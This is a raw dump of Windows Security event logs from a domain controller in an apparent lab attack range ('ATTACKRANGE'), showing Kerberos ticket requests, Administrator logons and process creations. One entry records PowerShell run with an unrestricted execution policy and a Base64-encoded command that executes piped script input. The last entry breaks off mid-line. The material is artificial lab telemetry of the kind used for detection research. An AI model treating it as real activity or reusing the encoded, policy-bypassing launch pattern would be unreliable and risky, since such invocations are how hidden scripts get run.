Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15EFE6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2265AA46-9D9D-744D-E728-8B45B5348510} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252469 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2265AA46-9D9D-744D-E728-8B45B5348510} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252468 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2265AA46-9D9D-744D-E728-8B45B5348510} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252467 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252466 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15EF8A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252465 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15EF8A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64639 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252464 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15EF8A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252463 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15EEE3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252462 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15EEE3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64638 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252461 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15EEE3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252460 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D57F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1370 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13c8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252459 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15EE4B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252458 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15EE4B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64637 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252457 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15EE4B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252456 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15EDE8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252455 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15EDE8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64636 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252454 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15EDE8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252518 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x364 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x500 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252517 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x163EB5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252516 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x163EB5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252515 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252514 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252513 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252512 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x500 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5a8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 